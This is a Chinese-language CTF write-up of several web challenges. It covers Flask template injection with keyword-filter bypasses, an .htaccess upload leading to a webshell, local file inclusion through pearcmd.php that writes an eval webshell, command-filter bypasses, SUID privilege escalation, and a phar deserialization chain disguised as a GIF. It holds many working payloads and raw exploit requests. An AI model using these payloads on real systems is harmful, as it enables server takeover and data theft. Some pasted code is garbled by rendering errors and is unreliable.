BabySSTI_One
Flask SSTI模板注入漏洞系列第一题,So Baby Bypass.
SSTI
SSTI也就是服务器端模板注入攻击(Server-Side Template Injection),和SQL注入差不多,也是由于没有安全地处理用户输入造成的安全问题。简单来说,其实质是服务端接收了用户的输入,但没有进行严格的过滤就将用户的输入直接带入了编译渲染过程。这样在这个过程中如若用户输入的内容存在一些恶意代码,就有可能会被执行。
Flask
Flask是一个使用python编写的轻量级Web应用框架。它是一个目前较为流行的框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2,拥有内置服务器和单元测试,适配RESTful,支持安全的Cookies,拥有完整的官方文档,学习也很方便。
本题

他让我GET那就GET。

参考:https://blog.youkuaiyun.com/soldi_er/article/details/116293934
题眼:不正确的使用flask中的render_template_string方法会引发SSTI。
会执行传入的表达式。

确认了可以执行传入表达式,我们可以用魔术方法做到模块利用。

但很快,发现存在waf。
经过简单的判断。
确定是关键词过滤,过滤掉了
class 查看该类型所属的对象
mro 查看该对象继承的基类元组
base 查看该对象继承的基类
subclasses 每个新类都保留了子类的引用,查看类可用引用的列表
init 初始化类
globals 查看类中的方法、属性等值
等关键词。
那就查找如何绕过。
参考https://www.pudn.com/news/62566d3332672e29302b947f.html#_365。
这里主要用拼接的方法如:"cla"+"ss"
下面来看具体过程。
参考https://morblog.cc/posts/2946623354/#%E5%89%8D%E8%A8%80
第一步:class 查看该类型所属的对象

第二步:mro 查看该对象继承的基类元组 并选取为__mro__[1]


第三步:subclasses 每个新类都保留了子类的引用,查看类可用引用的列表

很多子类,哪些是我们需要的呢?子类里的方法对我们有用的,就是我们要找的子类。
在本题,os._wrap_close子类中的方法可以帮助到我们getshell。

确认在数组第117中。
第四步__init__ 初始化类并**globals 查看类中的方法、属性等值** 获取该属性里的方法

并在其中确定popen方法的存在

最后一步,利用popen构造payload
发现flag,cat它。

结果发现cat 和 flag都被过滤了。
最终payload为
?name={{''['__cla'+'ss__']['__mr'+'o__'][1]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('c'+'at /fl'+'ag_in_here').read()}}

总结,第一次接触flask ssti漏洞的自己真菜。
BabySSTI_Two
在师傅倾情指导下完成。
题目提示:PythonSSTI模板注入漏洞系列第二题,这次不信你们还能绕过我!(应该安全了吧?

题目既然说了是python ssti模板注入,那就按python ssti模板注入方法做。
1、先试一下存不存在注入点。

在上一题python ssti模板注入中,我们用了如[‘__ cla’+‘ss __’]的拼接方法。
这题发现该方法被ban了。
但我们还有很多种办法。
参考:https://morblog.cc/posts/2946623354/#%E5%89%8D%E8%A8%80
这次我们用[[‘cla’,‘ss’]|join]

成功绕过。
接下来的流程就和上一题一样就不赘述了。
BabySSTI_Three
http://fac0cda5-9649-4a3a-8aae-db783cd0b2c6.node4.buuoj.cn:81/ ?name={{''[['\x5f\x5fcl','ass\x5f\x5f']|join][['\x5f\x5fm','ro\x5f\x5f']|join][1][['\x5f\x5fsubcl','asses\x5f\x5f']|join]()[117][['\x5f\x5fin','it\x5f\x5f']|join][['\x5f\x5fglo','bals\x5f\x5f']|join][['po','pen']|join]('whoami').read()}}
http://fac0cda5-9649-4a3a-8aae-db783cd0b2c6.node4.buuoj.cn:81/ ?name={{''[['\x5f\x5fcl','ass\x5f\x5f']|join][['\x5f\x5fm','ro\x5f\x5f']|join][1][['\x5f\x5fsubcl','asses\x5f\x5f']|join]()[117][['\x5f\x5fin','it\x5f\x5f']|join][['\x5f\x5fglo','bals\x5f\x5f']|join][['po','pen']|join]('c$1at${IFS}/fla$1g\x5fin\x5fh3r3\x5f52daad').read()}}

Give me your photo PLZ
提示
我好想看一些好康的图片呜呜
题目

.htaccess是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
<FilesMatch "zx"> #文件中含有zx(包括后缀)
SetHandler application/x-httpd-php #当文件名中有zx则以php执行
</FilesMatch>
或者
AddType application/x-httpd-php .jpg #文件后缀为.jpg为php执行
上传 .hataccess文件

上传zx🐎。

执行php命令。

成功getshell,结束,谢谢师傅。
最后贴上源码:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h1 align="center">大家好,这是一个不会写前端的web手做的图片渲染器,上传图片,我会帮你渲染出来的</h1>
<?php
if(!empty($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$extension = explode(".", $_FILES["file"]["name"]);
$extension = ".".strtolower(end($extension));
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");
if (in_array($extension, $deny_ext)) {
exit("上传木马可不是好习惯~~~");
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . strtolower($_FILES["file"]["name"]));
echo "<img src='upload/" . strtolower($_FILES["file"]["name"]) . "'>";
}
}
}
?>
<form align="center" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
参考链接
https://blog.youkuaiyun.com/qq_61988806/article/details/123245564
includeone
题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
}
mr_srand 伪随机
<?php
mt_srand();
echo "Hint: ".mt_rand()."<br>";
echo "Hint: ".mt_rand()."<br>";
因为mt_srand是根据种子进行的伪随机算法,所以我们可通过php_mt_seed工具通过已知的mt_rand()来获取种子值。

本题第一个考点就是通过已知的mt_rand获得种子,从而得到第二个mt_rand。
文件包含漏洞
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出
php://filter/read=convert.base64-encode/resource=./xxe.php
但不一定要转换成base64编码,在本题中我们可以看到,该题过滤了base这个字符。
我们还可以用rot13编码
php://filter/read=string.rot13/resource=flag.php
本题最终构造payload,并在源代码看到编码后的flag.php中的内容。

IncludeTwo
文件包含漏洞系列第二题,How to RCE via LFI? P…
RCE 远程文件包含漏洞。
LFI 本地文件包含漏洞。
RCE via LFI 从本地到远程,实际就是从getshell的过程。
题目一上来就给源码,好人一生平安。
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
} Hacker!
清晰可见过滤了base64、rot13、filter。
师傅倾情推荐参考https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html中的pearcmd.php的巧妙利用
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 1b59ab95-9c10-49cb-b6a1-27f519f40b3a.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cache-Control: max-age=0
仅这一个数据包,就在服务端写下自己的php,无敌。

然后写下一句话木马并访问/tmp/hello.php。
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval(@$_POST['password']);?>+/tmp/hello.php HTTP/1.1
Host: 1b59ab95-9c10-49cb-b6a1-27f519f40b3a.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cache-Control: max-age=0

再次显示创建成功。
查查whoami

可以whoami以后就找flag,用师傅的话就是,一眼根目录。
那就找根目录!

password=system('ls /');
一眼看到fffflllllaaaaggggg。

总结,什么东西难起来都离谱。
multiSQL
题目提示
听说火华师傅四级又挂掉了,他不好给他的英语老师交代,你能帮他改改成绩通过学校的验证嘛
堆叠注入
题目

应该过滤了 select、update等,但 show databases;show tables;还能用。
本题参考2019年强网杯 随便注。


这里学到一个新知识点,表名为数字时,要用反引号包起来查询,当然本题不用。
预编译(借鉴:https://www.cnblogs.com/cmredkulaa/p/14563311.html)
本题没做完。
So Baby RCE
在师傅倾情指导下完成。
感激,一上来给源码。
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
题目提示是:今天你RCE了吗?
考点:Linux命令过滤绕过。
构造payload:
?cmd=cd${IFS}..&&cd${IFS}..&&cd${IFS}..&&ls
${IFS}代替空格。
…返回上一个文件夹。

构造最终payload:
?cmd=cd${IFS}..&&cd${IFS}..&&cd${IFS}..&&ca$1t${IFS}ffff$1llllaaaaggggg
$1、$2、$3等,可以代替\做关键字绕过。
这里有个问题。
如果你要把&&cdKaTeX parse error: Expected 'EOF', got '&' at position 8: {IFS}..&̲&cd{IFS}…&&ca 1 t 1t 1t{IFS}ffff$1llllaaaaggggg这一串转为url,这里是因为&&的原因。

总结:学了点过滤姿势。
So Baby RCE Again
提示
RCE Me
题目
非常感激,又是源码。
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
重点关注 shell_exec()这个函数。
用法如上。

卡了一下。被这个shell_exec()函数卡了。因为他没有回显。
接下来参考:http://cn-sec.com/archives/722378.html
这个文章讲的巨好,让我觉得有很多方法绕过,不过这次我还是用师傅带的方法,就是上面这个,因为shell_exec()虽然没有回显,但是它还是执行了,说明我可以直接生成文件并挂上小🐎,我直接黏贴复制,并带上post9415访问webshell.php,无敌。

欸,来回显了。
很快啊,我直接一个cat /ffll444aaggg,但没用,当时就惊呼卧槽。
当时做的时候压根没往权限上想,还是师傅提点才想到。
于是一看,🆗,卧槽,root才可读。
接下来又搜Linux提权:https://blog.youkuaiyun.com/qq_46258964/article/details/122368019
接下来参考上面这篇文章,我只能说,我初中弟弟来了都能提。

直接就是一个复制粘贴!

/bin/date /bin/mount /bin/su /bin/umount 这几个就是有root用户权限的SUID文件。
根据文章构造自己需要的命令。
/bin/date是可以拿来做提权的。


没有回显,又卡住了。
ok,在师傅倾情指导下拿下。
本题关闭了错误输出,使用date 命令读取文件,看不到回显。需要将错误输出重定向到标准输出里,才能看到回显。如下。

这里有个小知识点,2>&1 中,2指的是报错输出,1是标准输出。2>&1就是将报错输出重定向为标准输出,来个名词就是,报错标准输出!
在师傅的督促下,完成第二个方法,使用中国yijian链接webshell。
做完了,不记笔记了。
Unsafe Apache
题目提示
Check In And The End!
题目

根据提示搜索该页面对应apache版本漏洞。
发现该https://blog.youkuaiyun.com/weixin_47311099/article/details/121773364漏洞。

我的评价是,一模一样。
然后没做出来。


直接对着抄,抄都抄不明白。
绕过方式使用%%32%65替换%2e即可,%32%65解码等于2e。
不要在浏览器地址栏打这个,%32%65会自动解码为2e,从而导致绕过失败。
UnserializeOne
师傅倾情指导之下完成一道简单的php反序列化题目。
源码如下。
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
炸一看,感觉很长,仔细读下来,发现这是一个套娃。
本题作为新手题,着重考察了对魔术方法的理解。
至于怎么套大概如此:

既然有了思路就可以构造序列化。
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
public $func;
public function __destruct()
{
echo "Welcome to NewStarCTF\n, ".$this->name;
}
public function __isset($var)
{
echo "Welcome to __isset\r";
($this->func)();
}
}
class Sec{
public $obj;
public $var;
public function __toString()
{
echo "Welcome to Sec\r";
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo "Welcome to flag\r";
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
echo "Welcome to Easy\n";
var_dump(isset($var[0]));
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
echo "Welcome to eeee\n";
if(isset($this->obj->cmd)){
echo "success";
}
}
}
$a = new Start();
$a->name = new Sec();
$a->name->obj = new Easy();
$a->name->var = new eeee();
$a->name->var->obj = new Start();
$a->name->var->obj->func = new Sec();
echo '<br>';
echo(serialize($a));
构造好序列化提交就完事。
本体还涉及了一点public、protected、private的知识,在本题中只需将protected和private改成public即可。
UnserializeThree
在师傅倾情指导下完成。
题目提示:PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花

在上述页面源码中发现。

进入class.php里查看。

<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
参考https://blog.youkuaiyun.com/q20010619/article/details/120833148
我们知道file_exists()是一个可以造成phar反序列化漏洞的一个函数。经过简单测试后发现在上传图片时候会返回文件路径。有文件路径且在存在反序列化函数就可以使用phar文件伪造图片文件上传后,利用phar://伪协议调用文件造成反序列化漏洞。
我们先生成一个phar文件。
<?php
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Evil();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在本地运行PHP study,运行程序生成phar.phar。
但是本题不是随意上传,它必须是图片文件。
于是我们要改一点,将phar.phar做成gif或者jpg等文件。
将phar伪造成其他格式的文件
如果文件上传界面后端代码会检查文件类型的话,就需要将 phar 文件伪造成其他格式文件
$_FILES["file"]["type"]=="image/gif"
由于php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Evil();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这样就生成gif文件头的phar.phar文件,采用这种方法可以绕过很大一部分上传检测。
然后我们来分析如何构造反序列化。
<?php
class Evil {
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval($this->cmd);
}else{
echo "No!";
}
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Evil();
$o->cmd="\rsystem('cat flag');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在本题中只需对cmd下定义并绕过判断即可。
$o->cmd="\rsystem('cat flag');";
但其实大多数题目,都没那么简单,任重道远。

将做好的phar.gif上传。

得到返回地址。
upload/1b33718042e7dfe8fac079be96ebc4d9.gif
再利用phar伪协议调用,构造好的payload如下:
?file=phar://upload/1b33718042e7dfe8fac079be96ebc4d9.gif


总结:跟着文章走,总没错。
本地测试:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Evil {
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval('#'.$this->cmd);
}else{
echo "No!";
}
}
}
file_exists('phar://phar.phar');
<?php
class Evil {
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval($this->cmd);
}else{
echo "No!";
}
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Evil();
$o->cmd="\rsystem('cat flag');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
总结:学了很多东西,但其实已经快过了很久很久了,都快忘了个七七八八了,那个时候真好啊,安安静静地跟着师傅们学习、打比赛就好了……
1135

被折叠的 条评论
为什么被折叠?



